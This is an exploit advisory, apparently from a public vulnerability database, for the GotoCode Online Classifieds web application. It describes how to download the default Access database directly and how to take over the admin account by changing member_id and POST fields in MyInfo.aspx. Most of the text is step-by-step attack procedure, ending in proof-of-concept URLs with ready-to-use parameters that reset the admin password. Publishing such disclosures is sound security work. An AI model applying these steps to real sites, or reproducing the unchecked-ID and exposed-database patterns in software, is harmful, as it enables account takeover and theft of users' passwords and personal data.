GotoCode Online Classifieds Access Bypass

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# Exploit Title : GotoCode Online Classifieds Multiple Vulnerabilities  
# Vulnerability : Privilege Escalation / Remote Database Download  
# Date : 09/10/2011  
# Author : Nathaniel Carew  
# Email : [email protected]  
# Impact : High  
# Software Link : http://www.gotocode.com/apps.asp?app_id=5&  
# Platform : ASP.NET  
# Tested on : MS Windows Server Standard 2003 SP2 / IIS 6  
# Thanks : Peregrinus & Birch Meister General  
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Overview:  
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Database:  
If the application is configured using the default directory structure and an  
access database then a user can download the access database.  
  
Privilege Escalation:  
First reset your own password via the 'Registration' link:  
http://localhost/[path]/Registration.aspx  
This now takes you to a new page where you can select the 'Edit my info' link:  
http://localhost/[path]/MyInfo.aspx?member_id=10&  
Change the above GET URI to member_id=1& and refresh  
  
Now by modifying the following variables in the POST data you can reset the admin password  
with the password you entered into the appropriate field to gain full admin rights to the web application:  
  
p_Record_member_id=1  
Record_member_id=1  
Record_name=admin  
Record_member_password=newpass  
  
Proof of Concept:  
-----------------  
http://localhost/[path]/Classifieds_MSAccess.mdb  
http://localhost/[path]/MyInfo.aspx?p_Record_member_id=1&Record_member_id=1&Record_name=admin&Record_member_password=newpass&Record_email=moo&Record_location=&Record_home_phone=&Record_work_phone=  
  
Impact:  
-------  
By resetting the admin password an attacker would be able to completely control the application, users  
and their associated data. Successful database exploitation would allow an attacker to download the complete  
database of users information including email addresses usernames, passwords and associated classified listed data.  
  
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